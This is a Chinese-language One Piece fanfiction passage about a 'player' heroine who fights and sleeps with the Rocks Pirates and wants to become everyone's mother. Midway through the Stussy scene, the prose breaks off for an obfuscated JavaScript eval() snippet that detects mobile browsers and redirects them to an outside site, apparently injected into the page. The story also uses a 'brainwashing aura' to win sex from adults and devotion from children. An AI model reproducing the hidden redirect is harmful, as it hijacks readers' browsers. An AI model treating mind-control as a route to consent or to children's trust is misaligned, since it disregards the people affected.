这天你收货了一张CG【王与副手的约定】。 哥儿·D·罗杰和希尔巴兹·雷利,他们要去颠覆世界啦。 02. 你16岁时,罗杰海贼团有了雏形。因为船上的这些家伙都相当坚定地不做你的孩子,你决定离开。 第一个挽留你的人居然不是雷利。你以为凭你和雷利的交情,雷利会是第一个对你哭爹喊娘恳求的人。 “不,怎么想也不存在那样的景色。”罗杰无法想象自己的副手会那样ooc,实在可怕,嘴上那么说其实你们两个人都将那样ooc的雷利在脑子里过了一遍,相视大笑后罗杰抱了抱你。 你问罗杰他是想要做的你的孩子了吗。 罗杰苦恼,他挠挠头,几年过去了他也还是没搞懂为什么你那么执着于要他们当你的小孩,但是他是少有地对你保持尊重并不理解的家伙。 雷利痛击他脑子有坑,罗杰却说:“露娜一定有她的理由,如果她的梦想就是如此,只要她想,那谁都不能阻止她的。” 听到这话该沉默的都沉默了。 这些年来你光明正大地在这艘船上刷点数。伟大航路真的是非常神奇的,不仅让你刷满了亲和力甚至把力、速也刷了上去。闲来无事你顺便研究了一下好感度的速刷方式。游戏玩家就是作弊的存在,你上船年龄小和不少攻略对象毫无男女眼色地亲密接触,从论坛刷关键好感度道具的信息,拿到了就随手塞给人家。随着你年纪增长,在满点成长性能作用下魅力点也步步高升,往昔与小女孩的亲密接触在你愈发成熟的身体和面容下都变了味,当他们终于正视你,某些类似于亲情的纯洁荡然无存,即使是雷利,近些日子看你的眼睛也不清白。 罗杰问你还会回来吗。 你说你会的,因为你还是想要他们做你的孩子呀。 你不会放过海贼王的船员。至于罗杰和偷听的雷利是怎么想的你不在意。他们只是npc,想要理解玩家异想天开超出这世界常理的话还是太难了。 你挥手告别罗杰,在他的注视下张开双臂从围栏上躺倒至海中,余光里金色的秀发飞扬,你笑了。 玩家的瞬移技能使得你飞翔于高空。 你降落在了你的目的地,蜂巢岛。 四面八方涌来的霸气将不请自来的你围得密不透风,这就是蜂巢岛,恶龙销金窝,行走的恶和无法无天命运赌徒狂欢盛宴的场所,“海贼们的乐园”,你通往未来的巢穴。 你和洛克斯打了一架。 三色霸气齐上阵,你们两人的身影在半空打得难舍难分。 按理说你是玩家,只要你想就能暂停去找个挂把洛克斯搞死,但也因为你是玩家,你发现洛克斯是个锁血boss,因为他有对应的死亡剧情,他只能在过那段剧情的时候死掉,即使你常常作弊也忍不住痛斥这简直就是作弊行为。 洛克斯说他知道你是罗杰的船员,问你是不是罗杰送来的挑衅。你说你已经下船了,是你自己要来的,因为他将会带给你你梦寐以求的东西。 “哦,我吗?” 你吐出嘴巴里的血沫,对洛克斯说出了你的名台词。 “洛克斯,让我来做你的妈妈吧。” 一时间所有人看你的眼神都古怪了起来。 他们以为洛克斯多少会嘲笑你是个神经病,但是和你打得不相上下的男人只是上下打量你大笑起来,他抹掉嘴边的血渍,拒绝了你,向你发出邀请。 “我可以让你成为母亲。” 你们再次大打出手,惊涛骇浪,雷光四射,海面卷起滔天巨浪倾吞所到之处的一切,乌云笼罩天空,世间万物似乎都被你及洛克斯周身围绕的黑色闪电所摧毁。在你们捣毁了以蜂巢岛为中心周围的十余艘海贼船和数座岛屿后,战斗停息。洛克斯最终还是用锁血控住了你,但是你也没给他甜头尝,硬是在他的身上落下了七八个穿透性血窟窿,即使在这种情况下他还能锁血,那你还能说什么呢?打不过就加入呗。 你和洛克斯以平均两天一小打,三天一大打,五天毁一岛的辉煌战绩,双双成为了那年世界政府以及海军通缉的重点对象、“蜂巢岛明日之星”。 感情是不是打出来的你不知道,但作为攻略对象你想洛克斯大概是个m,不过他长得不错,在他稳步高升的好感度下,你们最终还是打到了床上去。现在你完全确信洛克斯是个m了。作为游戏里你的第一个对象,被你压了十个小时还能喘着说再来的男的,洛克斯是有点意思在身上的。 你留在了洛克斯身边。 你看着洛克斯将你的“钥匙们”收归麾下,看着他一次次将蜂巢岛之上的无数海贼们踩在脚下,看着他一步步地完整你在论坛中看到的那个“洛克斯海贼团”。你的余光扫过耀眼夺目的金发和肆意张扬的粉发,你对你的现状很满意。 【玛丽亚的光环】是附带洗脑效果的mod,能够使人感受沐浴于母性与慈爱、慈悲之下的温暖。而使用洗脑最合适的时机,要么是人最脆弱的时候,要么就是人最无意识的时候,清醒着堕落是最难能可贵的。 在一艘有着一众见闻色极佳的船员的船上,如果船长在床上被压着喊了“妈妈”会发生什么呢?你不是很清楚,所以在洛克斯喊完之后,你给他套了条裤衩一脚把他踹出了门。外头一阵哗然,而后是爆发开来的霸王色过境无情碾压。 洛克斯海贼团上的生存之道,强者为尊,不一定需要什么感情维系,仅仅以力量与利益牵起纽带。因为洛克斯强大,所以没有人忤逆洛克斯,顶多是在船长干出混子事的时候骂他两句混账神经脑子有问题。因为洛克斯强大,所以各路高手归入他的麾下,当然这并不是归顺,只是合作,打一开始这个海贼团就做好了随时解散的打算。 即使止损嘛,就这点来说你还挺喜欢洛克斯的。 某反面来说,洛克斯和罗杰是一类人,幼稚,热血,野心勃勃。你们D的基因都大差不差是吧? 不过洛克斯的简笔画比罗杰好点,那个长角角的骷髅标志还挺可爱,他不仅仅把它画在自己的船帆上还给自己纹了一个,你没少戳那里。好好一个极恶大海贼不知道为什么超喜欢这种激萌图案,这大概是一种反差萌,你尝试get。 你把洛克斯的外套当裙子穿,撑下巴看海。大部分船员不敢直视你,因为你是名义上的洛克斯的女人,也有些船员时而用敬佩的目光看你,你可不只是年轻貌美,在洛克斯几乎三米的身高下一米八的你居然能把他们的船长……总之他们咽着口水低着眉目看似不经意地从你身边经过。 玲玲大笑,她笑的时候一个站不稳就能把你压死,所以你坐在凯多的肩上,让凯多站远,这样与她对视时也不必昂头昂得太僵硬。你作为“老人”对船上刚来没多久的新人凯多使唤地心安理得(物·理·压·制)。你也是没想到一个十五岁的小孩居然能长五米高,凯多告诉你他之后还会长高,你表示:闭嘴吧。一米八对你来说已经是极限了,你很确定在这个游戏里你是长不高了,看看八米起步的玲玲、身高很六的纽盖特,这三个家伙就像是一座山上突起的三个山峦,而你是山上唯一一棵直挺挺俏丽的松树。 他们打不过克洛斯,也打不过你,所以他们要像尊重克洛斯一样尊重你。你似乎比克洛斯来得更有常识,于是纽盖特比起克洛斯对你的好感更高,除了你在他们三个加入的当天都说过名台词。 “玲玲,让我来做你的妈妈吧。” “纽盖特,让我来做你的妈妈吧。” “凯多,让我来做你的妈妈吧。” 你的三连真情惨遭三连拒呢,你不在意,反正在进入游戏前你就有打算了嘛。 但你耿耿于怀纽盖特给你降了好感度这件事,因为这你没少缠他。 “纽盖特,你真的不想要妈妈吗?” “纽盖特,你长得那么高摔在地上也会那么高吧?” “纽盖特,你的胡子是天生的还是你每天早上起来塑形成这样的?” “纽盖特,为什么你的头发是金色的胡子却是白色的?这样的话你的O毛是什么颜色的?” 你逗纽盖特,像小老鼠逗大象。都说大象怕老鼠,纽盖特却不怕你,他只觉得你是个脑子有点问题的女人,但他打不过你也是事实。 初见时他便打不过你。 少女身形轻盈敏捷如无骨猫儿上蹿下跳,落在丛云切的刀尖上却如有千斤重,只差一点,丛云切就要从纽盖特的手中被迫掉落。少女踩踏,世间重力便随着她的步伐而动。纽盖特有意使丛云切脱手,一秒,这一秒钟少女与刀尖分开,他大手一横,挥刀撤出她的落脚点,以自己为圆心展开的武装色在空气里凝结肉眼可见的黑闪。巨大的拳头和娇小的拳头碰撞一起,那只看似纤细的手臂犹如过膛子弹,而纽盖特则是被猎枪瞄准的那只皮糙肉厚的凶猛巨兽,一阵火花闪电,天旋地转,在两人拳拳对撞的顷刻间,未来名堂响当当的白胡子爱德华·纽盖特居然没看清楚发生了什么,见闻色断片,记忆也跟着断了,不到一秒,等视线清晰背已经抵在了碎石断垣上。而明媚的少女头顶巨大太阳,所落下的阴影不过遮住他两只眼睛,可爱德华·纽盖特却觉得她的影子遮天蔽日,他完全看不到太阳了。 露娜是黑色的太阳,遮挡住了双目所及的任何光芒。 LIFE OR DEAD 笑靥如花的少女如此道。 纽盖特自觉他会将这场景铭记一生,直到后来夏洛特·玲玲开发她那花里胡哨的果实能力也给整出了句“life or dead”,他提刀和玲玲那个疯女人斗到了一块。 你是抄袭的但是你不说。 角落,你指挥着长面包给自己做爆米花,为自己的欢好玲玲加油助威。 对,你是和洛克斯滚到一起了,但自从夏洛特·玲玲带着长面包登上蜂巢岛踢馆子一起加入洛克斯海贼团之后,没多久,你就和夏洛特·玲玲滚到了一起。这件事听起来十分匪夷所思,但是真人真事。 作为你实现野望的“钥匙”之一,你本来就是抱着不纯的目的接近玲玲。和你同岁的女人身形高大得不像话,你站在她手上如掌心芭比。你以相当过硬的实力把初来乍到的玲玲扣进墙里,如此拳脚相向的场景不下数十次,可你也不止一次将敌对方从欲要使力的玲玲面前踹飞。海贼女人们的不正常友谊扭曲得发展起来。 知道你是洛克斯相好的那段时间玲玲总是看你的肚子,你就任她看吧,不管多久你瓷白的小腹也还是平坦柔软。玲玲戳你的小腹,你吐了她一手指头后把她摁进了地里。 夜里你们彻夜长谈。从洛克斯的床上功夫是不是奇差无比到洛克斯那方面是不是不行,送夜宵的长面包弯腰进来汗颜爬出。 你说洛克斯其实也没那么差劲,只是对象是你。 玲玲挑眉,她说她以为像你这样强大的女人和洛克斯在一起是为了造个小怪物出来。 那倒没有,你不打算生孩子。你说完话便看到玲玲用暴殄天物的眼神谴责你。 和将来子女满堂的海上女皇帝讨论生育观念是没有结果的,所以你把玲玲摁进了地里。 玲玲说如果你是男人就好了。 你说如果玲玲是男人就好了。 你们两都不想当男人呢。 玲玲说如果她是男人那一定比洛克斯厉害。 你笑笑不说话,盖上被子后你就让她知道了为什么洛克斯在床上那么窝囊。你白条条枕着被子里香汗淋漓,一边是久久无法从余韵中平息的一脸空白的玲玲。你拍拍你高大的女人艳丽的脸,叮嘱她翻身不要压到你。 一米八对上三米、八米会很惨吗?拜托,你可是玩家,玩家总有特殊的方法做到npc怀疑人生。 洛克斯对你和玲玲滚到一起的行为表示不满。 你哦了一下,然后拉着他和玲玲三个人滚到了一起。 无法描述,不知该如何描述,被叫来送餐长面包恐成最大受害者,惨白着一张脸爬出去时疯狂祈求忘记自己到底看到了什么,差一点点你们的厨子就要成瞎子了。 而你在思考之后拐一个正儿八经厨子的可行性。 你和大女人玲玲滚到一起两周纪念日时,你乘玲玲的顺风船靠岸,岸边扑来几只乱七八糟的小娃娃。你眼前一亮,那可都是!还没长大的闪光绿名小孩! 你先玲玲一步落地,几个步子身手矫健,不给小孩儿们逃走的时机,大手一揽,小男娃、小女娃抱了个满怀。 “我是你们的新妈妈哦!” “唉?!”xN “这些是我的孩子啊!你这家伙!” 后落地的玲玲对着你脑袋就是武装色的一拳,不带果实能力是玲玲对你的喜爱的表达。你很感动反手将玲玲摁进地里,怀里的小孩们儿瞬间化身听话小仓鼠。你觉得很可爱,挨个亲了口脸蛋。 虽然你是打算直接从玲玲手里抢孩子的,但亲子关系的培养也是很重要的。你明明可以直接抢但是你却还是打算花时间、花精力来和这些孩子们好好相处、培养感情,你真的,你都要被自己哭死了。 你亲了亲玲玲的嘴,鼻尖亲昵地靠着大女人的鼻子落了个口红印上去,任谁都能看出来你们之间关系不一般。孩子们看呆了,变成了宇宙小仓鼠,这对他们来说过于超前了,佩罗斯佩罗的舌头要垂到地上了,你一把抓起给他塞回去。 你和玲玲度过了一段黏糊蜜月时光虽然大部分时间你都薅着玲玲的小孩儿们玩。 你:我想要你的小孩【真挚而认真 玲玲:想要就自己生! 你:以我们的关系,你的就是我的,我的还是我的,所以你的小孩就是我的小孩! 玲玲:……神经病! 无痛生娃,其乐无穷。 “真想把你们都偷走。” 你亲亲小康珀特的脸,这孩子和玲玲很像又是小女孩,你总是会展示出更多亲昵。挨个亲亲蒙德、阿曼德、雅修、艾菲蕾的小脸蛋,小小一团的女宝宝笑起来实在是很可爱,也不会说话也不是自己生的,真是越看越可爱。这么一看玲玲还是无法超越的,居然可以一胎多生不止一次两次,这种基因彩票可不是随随便便谁都有的。 你亲亲完小女孩子们,又去亲亲小男孩,每一个小孩都能得到你的晚安吻。 作为海贼,夏洛特·玲玲的实力是毋庸置疑的,她的野心、她的能力、她的潜力都是,她终将搅得她所踏足的海域不得安宁、天翻地覆。从她的脐带、她的血液、她的乳汁中成长的佩罗斯佩罗无比清楚,即使佩罗斯佩罗自己只是个孩子。可早在熟知“妈妈”之前,佩罗斯佩罗的第一声啼哭后认知中的第一个事物是“海贼”啊。 在小孩儿佩罗斯佩罗的眼里,明明身为海贼露娜却是和血缘纽带紧紧相连的妈妈夏洛特·玲玲完全不同的存在。是温暖的、柔软的、充满母性和花香的……像贫民孩子们爱的童话故事,不真实、不真切,像教堂里头花窗前的圣母,年幼的佩罗斯佩罗如此想。女人的嘴唇印在他的脸蛋上,就像是亲吻妈妈那样,露娜亲吻他和他的兄弟姐妹们,从妈妈那儿缺失的爱和温暖似乎都在她温热的唇瓣下涌出来,浇灌他们。 你亲亲佩罗斯佩罗,舌头长长的小男孩,真别说还挺有趣。你以为他是年长的大哥哥类酷酷男孩,毕竟在你靠近他的弟弟妹妹们前他先站到了最前头,还以为这小孩儿会是个硬骨头。可是看看!他也还是会脸红嘛!和玲玲的小女孩儿们一样!和玲玲也一样嘛!还是个小孩呢,真好啊,真好啊。你笑眯了眼捧着小卡塔库栗的脸蛋亲亲他脸颊上的缝线,挨个吻他同胞兄弟们的脸蛋。葡萄红发色的小男孩和葡萄一样红。 同小女孩们的害羞渴慕比起来,男孩们的表现才叫好玩儿,害羞又抗拒又想要又害羞,口嫌体正直一点儿也不诚实的模样像极了玲玲。 也许这也是一种爱屋及乌。但玲玲不喜欢睡前故事,比起天真的幻想故事,海上女矿工更喜欢些实际的东西,要不在床下打一架,要不在床上打一架,来一场厮杀或一场冒险。 “我可是要成为这片大海之王的女人。”女人的粉发铺满床铺,鼻子里哼出热乎乎的气流包裹你,你抱着她的脑袋,摸摸她枕着你腿的脸蛋。 “我们玲玲超厉害呢~”你毫不吝啬地夸奖她,身上女人的口红印蹭满床单。见闻色可以感知到远处房间内低着头乖乖吃饭的孩子们,每天都有在好好成长呢。 你的手掌按在她的太阳穴上缓慢地揉摁,非常致命的穴位,可你已经这样做过不下数次。 夏洛特·玲玲桔红色的眼睛眯成一条小缝,她从来是狩猎的母狮,此时是打鼾享受的大猫。 “玲玲,要不要做我的孩子呀?”你俯在她的耳边柔声细语,诱惑她。 【玛丽亚的光环】没有人能够抗拒。即使强大如洛克斯也曾在迷糊时陶醉在“母性”之下,玲玲也难以逃过“玛丽亚”的蛊惑,只是这二人恢复清明也快。是因为年龄吧、因为实力吧,大人总是比小孩儿难哄骗。但这也拦不住你时时哄骗大海贼们,你觉得可好玩了,一瞬间沉迷又一瞬间清醒,重复、反复、反复、重复这个过程,你乐此不疲也不怕把大海贼们搞坏。因为你是玩家嘛,你很好奇啊,在这种无限重复的过程里到底是他们的精神先崩溃呢还是干脆地沉沦呢? 这次的玲玲也一样,受到慈爱的温柔的“玛丽亚”的照拂。她充满依恋地看着你,眼眸像一块半融不融甜腻的琥珀糖温温得淌黏糊糊的糖浆,你的身影浸泡在里头甜到发腻、甜到牙疼。她手指婆娑你,她从未这样对待过任何一件珍宝,哪怕是从她身上落下来的孩子们……残忍残酷的女海贼舔舐你、吻你,她都不曾对那些为她选中的供给者们这样细致的回报。然后在下一刻她的眼神又变回了那锐利的剑锋——她竟然又在无意的喃喃爱语中喊了你“妈妈”!每每玲玲意识到她完全沉溺于你时她都这样,气得发抖、气得发疯,暴躁的母狮子一点儿不顾及上一刻的亲昵与交融,暴起,凶猛蛮狠地攻击你,她要抹杀这天大的耻辱。 你们打了起来,当着孩子们的面。 玲玲的衣服太大了,所以你裹床单围的裙子揉小孩儿们毛茸茸的脑袋告诉他们他们被摁进地里咬牙切齿的母亲没事儿。 “哎呀,看来我还是只能把你们都抢走呢~” 你能有什么错呢,你只一个全都要的玩家罢了。 03. 不要看上面一直是玲玲被你摁进地里,这只是表象,和凯多比起来玲玲进地里的次数杯水车薪。洛克斯海贼团的大多干部级成员都被你摁进过地里,对这些本身实力极强、心高气傲、翅膀梆硬、还屡次拒绝你真诚母子关系邀请的海贼,没什么是打一顿解决不了的,如果有,那就多打几顿,打到他们心服口服,说的就是凯多和史基,前者是自己找揍,后者纯贱。 你一屁股坐在目前仍是花美男的某只金狮子身上。大海贼们向来不爱好好穿外套,游戏里也好像有反重力设置,不管斗得多激烈这些家伙的大外套、大披风都和焊在身上一样掉不下来。而追求强大的享乐派大海贼身上的和服外套料子又软又厚实,身体暖、手感也不错,两者一结合完全就是天然(真)人工沙发。每日看不惯你的史基对你来说无异于瞌睡碰上枕头,你能让他跑了? “史基,你该不会就是喜欢做椅子才回回挑衅她的吧?”少白头约翰眯着眼睛喝酒,酒水湿身每天都干,你怀疑他之所以每次出场都是红衬衫是因为所有的白衬衫都被红酒上了色。 “我看你是喝昏了头!每天醉得半死不活!”史基叫嚣,非常精神。 “椅子是不会说话的。” 你抽了他一巴掌,声音响亮,亮得全场鸦雀无声。吵吵嚷嚷的金狮子脸红脖子粗地死瞪你嘴巴硬是憋不出一句话。你的老相好洛克斯看你,你的大女人玲玲也看你,眼神都在责问你为什么要奖励他。 你:? “……下次别这样。”纽盖特打破沉默,不看某只埋进地里的醒狮,眼不见为净。 “还可以有下次?” “……不,不要跃跃欲试。” 纽盖特拿你一点办法也没有。就像罗杰曾经说过的,只要你想的话,就没有人能够阻止你。 这么说起来好多年不见罗杰了呢。 你飘飘忽忽被洛克斯捏了手,他问你是不是在想罗杰,你说是哦是哦,好多年没见了甚是想念。 攀着纽盖特斯图西登时就笑出了声,金发丽人的笑容嗔怒带嘲讽,说你见异思迁勾三搭四八面玲珑口蜜腹剑什么什么的。冷静又有文化的小美人把能用来谩骂你的词汇都说了一遍,如果她不是全程窝在纽盖特肩上那真是非常威风了。 你对斯图西笑。 魅力10的笑容即使对方是女人也能被迷得人魂颠倒。同样擅长操弄自己漂亮皮子惑人的斯图西头一次被你迷了眼清醒后脑子烧烤狂风暴雨,愈是看就愈是讨厌你,至少面上是这样。如果只是讨厌你,事情也就那么结束了,但谁知道斯图西对纽盖特异常上心,纽盖特是什么情况你不知道,但是斯图西是什么情况大家都看在眼里。 你把纽盖特摁进地里也不是一次两次的事,斯图西次次对纽盖特嘘寒问暖,对你坏话说尽。你摆摆手问她为什么不看看你呢,你打得手痛哎,而且你对自己的脸和实力也非常有自信。其实你就是喜欢斯图西看不惯你又干不掉你的模样。 拜托,你能把纽盖特、凯多、玲玲之流摁进地里,斯图西又不是脑子瓦特,只是那时对自己的手段和头脑过于自信的金发丽人完全不知道自己对上的是名为“玩家”的生物。 你把斯图西睡了。 你睡得她叫你“妈妈”“妈咪”什么的叫个没完没了,和洛克斯与玲玲截然不同的反应让你觉得很新奇,超级有趣。她黏黏糊糊地像刚出生没多久的金渐层小猫,什么野心呀、阴谋呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834998|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、远大计划,都在纯洁的“玛丽亚”手下变成了浆糊。斯图西ooc了,你感叹【玛丽亚的光环】还有这种操作,虽然ooc但是掌控一切的感觉让你欲罢不能。 至于第二天醒来,斯图西崩溃,斯图西尖叫,声音太刺耳了。你叫来纽盖特把她带走。年轻的白胡子眼神相当复杂,你勾勾手指,无视掉耍小心思的斯图西问纽盖特,睡吗? 斯图西僵硬,斯图西暴躁,斯图西朝你呲牙咧嘴,美人皮一下成了搞笑役,你笑成乱颤的花在床单上打滚。 其实你还蛮喜欢斯图西这股傲娇劲的,私底下好东西没少塞。 斯图西见你笑就ptsd,头整个儿埋纽盖特的头发里去,格罗丽欧莎在边上笑得直不起腰。 洛克斯海贼团是一个巨大的骨架子,里头塞满了各式各样的海贼团作为活动的脏器。玲玲、纽盖特、约翰、史基等等这些家伙全都有自个儿的门户。你和玲玲提过,等洛克斯挂了之后你也去自立门户,搞得那段时间洛克斯的主船上人人都以为你要出手干掉洛克斯了,看热闹不嫌事大的人甚至还开了个赌盘。玲玲说她压得你,纽盖特让你小心顺便参与了一下赌盘,斯图西偷偷给洛克斯下注,史基压了洛克斯并对你使用技能冷嘲热讽被你摁进地里,王直不说话王直压、王直都压,格罗丽欧莎也两头压,约翰压的洛克斯。至于洛克斯,洛克斯直接踹门来找得你。你们久违得打在一起,顺带路过海军基地把它们轰成了渣渣,喜提悬赏再升高成就,回去后把参与赌盘的混蛋们挨个揍了一遍。 夜里你压洛克斯。 再说说今天开会的事情。洛克斯海贼团没事是不会开会,各位船长都有自己的海贼团,一致行动旨在利益共通,谁都能得到好处。 会议结束后,你和纽盖特跑了。 把斯图西薅下来,美人怒目圆睁大气不敢出,你亲一口她斯图西就要死要活,真的很有趣。纽盖特很无语但嘴巴边是连自己都没注意到的笑意,而注意到的斯图西更生气了。 虽然通过论坛你大概摸清了白胡子海贼团各阶段的状况,但真直视时你还是问了纽盖特,光捡小孩做船员真的没问题吗?你抱着五岁的小菠萝坐在纽盖特的肩头,看甲板上跑来跑去的小孩儿们。 “他们是我的家人,虽然现在还很弱小,但是马上羽翼就会丰满起来,这片大海会给予生存的考验,强者会活下来继续厮杀,没什么好担心的,露娜。” 话是这样说没错。你靠着纽盖特的脑袋细数那些值得让人担心的事情,比如纽盖特控不住力把小菠萝拍到水里差点挂了、给拉克约流星锤锻炼但武器重量超标拉克约把自己甩飞到敌船上了、纽盖特走路不看路把比斯塔刚发芽的花苗全踩死了、给怀迪贝买了全套的死亡芭比粉小裙子被小女孩嫌弃……一只手数不过来呢,纽盖特。你望着他眼睛里什么意思明晃晃。 “……我第一次做父亲。”纽盖特眨眼,大型猛兽做这种事情反而可爱,他的大眼谨慎地望你,“我在慢慢学。” 爱德华·纽盖特对你最大的防备就是怕你把他捡回来的小孩儿给薅走了。在纽盖特的视角里,你一直对做别人的母亲充满了兴趣,这兴趣还是真心实意不夹杂任何谎言的,让他难搞。他并非不懂你,就好像他的梦想和愿望是家人,他想你大概同他一样。他不得不承认比起洛克斯的其他人(此处特指夏洛特·玲玲)你确实更懂怎么和小孩相处。 明明是他捡的、他养的、他锻炼的,孩子们却都格外喜爱围着你转。纽盖特纳闷儿,纽盖特郁闷,和你一起为小孩儿们做实战示范时问你怎么做到的,他的一众孩子们都要粘到你身上了。 “人格魅力吧。” 亲和10和【玛丽亚的光环】让你在小孩堆里横着走,开了挂的玩家就是那么没有道理。 你把纽盖特摁进地里,蹲在边上捏他一绺金发捏手里玩儿,正好对上他金色的眼睛,少见又稀罕的色彩让你注视许久。纽盖特也不说话,他也看着你,看你那双进入游戏时特调过的眼睛。你选的大海的色彩,你想没有哪一个海贼会不为大海所吸引,它是那样神秘又波澜壮阔召唤无数英雄豪杰折腰。 “纽盖特,让我来做你的妈妈吧。” 纽盖特又拒绝了你。 你揉揉搓搓怀里咬手指的小菠萝。 “马尔科要不要我做你的妈妈呀?” 小菠萝看看你看看纽盖特,看看你又看看他的老爹,小眼睛咕噜咕噜转。 小孩一个心思还那么多。你亲亲小孩脸,看他变成支支吾吾的红色任你搓圆捏扁。小孩儿就是这点好啊,你感叹。 纽盖特对你防备的一点儿不错。你就是奔着偷孩子来他这儿的,和你总是跑玲玲那儿的目的是一样,刷刷小孩的好感总是没错的。 曾几何时,炫酷的小不死鸟在纽盖特掌心扑棱棱浑身毛乎乎绒毛都还没褪干净,你一眼就喜欢上了。蓝色的小幻兽让你你想到现实里的小鹦鹉、可爱叽叽喳喳的贱贱的小鹦鹉。 可爱,想养。你的眼神太直白了,直白得纽盖特瞪人。 小马尔科还没来得及适应果实能力时真的就只能做一只小蓝鸟,你喜欢得紧。好几次开口要纽盖特要不送你吧,你说你会把小鸡养得白白胖胖说不定还能教它说话,你真的是把不死鸟当鹦鹉,当你发现孩子会说话时还挺失落,纽盖特从鼻子里哼气。 你和纽盖特关于马尔科有过一段小学鸡的据理力争。 你:这个花色,怎么看都是小鸡! 纽盖特:这是不死鸟,他是人,只是吃了幻兽种的果实。 你:明明就是小鸡!这种蓝蓝的毛毛的会说人话通人性的鹦鹉就是小鸡! 纽盖特:……听不懂你在说什么。 你:我以前可是养过的【你提溜起痴呆的小不死鸟塞胸口】小鸡一般都这样。 纽盖特和你大打出手。 你:让小鸡呆在小鸡该呆的地方有什么不对! 纽盖特:闭嘴!你这个神经病!马尔科你还不出来! 从此你的胸口永远失去了毛绒绒的热乎小鸡。 马尔科为此躲了你相当一段时间,飞行能力稳步提升还贯通了人鸟切换,可喜可贺。 就像面对小夏洛特们一样,你会给纽盖特捡来的小孩讲睡前故事、给他们晚安吻,对他们一个个嘘寒问暖无微不至,乍一看你好像真的成了他们毫无血缘关系的年轻妈妈。即使是躲你的马尔科在夜里也会和他的兄弟排排躺,乖乖任你吻他温热的眼皮。 你一直是一个谜一样的人,海贼为大海的谜团儿着迷,更何况是海贼的孩子。 洋娃娃一样的怀迪贝问你,你是不是要做她们的妈妈。你对纽盖特捡回来的唯一的女娃娃很有好感,你揉她冰蓝色秀发,摸她粉红色的脸颊,在孩子们充满期待的目光里告诉他们—— “我当然想做你们的妈妈,但是我也想当纽盖特的妈妈哎~” 你说得太真诚了,对小孩儿来说太超前了。 “老爹,老爹就会成为我的兄弟,然后老爹又是我的老爹,但是我们会喊你妈妈,然后老爹也会喊你妈妈?”小孩们不确定,只觉得魔幻,想不明白,完全想不明白大人的你是怎么构思出这种魔鬼一样的场景的。 “露娜,不可以只做我们的妈妈吗?” 马尔科是聪明的小孩,在你开的航海士课程里学得很快,知道你喜欢他就会仗着你的喜欢撒娇,真的很难想象他长大以后会变成超可靠的成熟大人。 “不可以。” “我想成为大家的妈妈。” “这算是我的,嗯,梦想吧?” 你明明捧着马尔科的脸,但是目光却落在每一个人身上。玛利亚的光环是无形之物,隐匿在你的头颅之后,看不见的光辉照耀孩子们稚嫩的脸,温柔地抚摸、疼爱,它太温暖了、太令人依恋了,自女人的身上传来的气息是那么令人怀念又熟悉。她的眼睛像一汪泉,温暖、湿热,是包裹他们诞生的羊水。 “我爱着你们每一个人,马尔科,我的爱会无私地分享给每一个乖孩子,我做你的妈妈也能做其他人的妈妈,但我永远爱着你,这不好吗?大家都会得到我永恒的爱,这很好不是吗?我的小青鸟,难道不想要妈妈的爱吗?” “爱”,实在是太甜蜜太甜蜜了。 纽盖特地拳头重重锤在门上,脸色阴沉。陷落在“玛丽亚”甜蜜温柔乡中的孩子们惊醒过来,脸蛋上都是眷恋的红,马尔科被埋在你的胸口,小鸟红彤彤被妈妈抱得挤出水。 “纽盖特,你把孩子们都吓到了。” “……你出来。” 纽盖特的手很大,他整个人便是巨人,他两只指头捏把你从孩子堆里拎走。小鸟儿掉下来,怀迪贝光着脚丫子追到门边远远喊着“老爹!不可以欺负露娜妈妈!”,你感觉纽盖特僵住了,他刚刚还超级生气的,现在却被自己捡的小娃娃浇了盆水。 “不要诱惑我的孩子了,我说过他们都是我重要的家人,不要对我的家人出手,露娜。他们都还是小孩,不是洛克斯和玲玲那种怪物。” 高大的男人神情严肃,纽盖特是很认真地同你对话,那双罕见的瞳孔一瞬不眨盯着你,在等待你的回应。在无人看到的地方,纽盖特干涩的咽喉要挤出血水来,他的见闻色让他能够“看”到发生的一切,他每日“看”你,又怎么会错过你对孩子们说的话?你描述的“爱”太贪婪了又太令人向往了。但你只会和小不点儿那么说,和尚且连情爱都不懂的孩子们那样说,在面对大海贼时的游刃有余同轻佻多情在孩子面前只剩下专注柔和。 “纽盖特,你在嫉妒孩子吗?” “如果纽盖特成为我的孩子的话,那我也会爱你呀,永远都爱你。” 你抱着他一根指头放在你软软的心口上,让他透过布料和茧子感受你身躯中那颗为人所跳动的心脏,一下一下,纽盖特的抚摸就像巨大的铁棍轻轻碰撞你的身体,他很小心了,可你们的身量差异巨大,你鼓动的心对他来说是那么袖珍又那么宝贵。 “露娜,我不想做你的孩子。” 纽盖特拒绝你很多次,除了第一次让你耿耿于怀,其他时候他都是在陈述事实,他非常收敛,只是这一次格外大胆。 “我是用男人对女人的目光看你的,所有人都知道。” 他沉吟了很久才和你说。低沉的金色像琥珀,不是玲玲那发腻要人窒息的浆糖,不是洛克斯纠缠不休抵死折磨的黑影,它更像一块温和的玉,圆软,温润,难以想象大海贼能够这样。但你揭开它,你捧纽盖特的手指将脸颊搭在上面蹭他,那块玉石就碎了,在龟裂开来的缝隙后头满是你熟悉的欲念。 海贼就是海贼嘛,即使说着那样的话抱有那样的理想,本质是不会改变的。 你在纽盖特的手掌心上化成雪白的玉脂冲他张开双臂,微笑,你又蛊惑他。 你把纽盖特睡了。 睡得纽盖特怀疑人生。 不要怀疑人生纽盖特,你拍拍他空白的脸,亲亲他溃散的眼睛,告诉他他说的那两个怪物都是那么过来的。纽盖特闷不吭声把你赶出去,在你摸摸搓搓担心的小孩儿们的时候又一个指头把你扯回来。 吃饭时,怀迪贝红光满面,一把抱住你的腰肢,视线在她的老爹和你身上来来回回个不停。 “露娜露娜!你就要成为我们的妈妈了吗!” “没有吧。” “哎!?” 你捏捏小女孩的脸蛋,告诉她她的老爹拒绝做你的小孩你太伤心了所以你现在要把她偷走,然后只做她一个人的妈妈。 “我一个人的妈妈?” 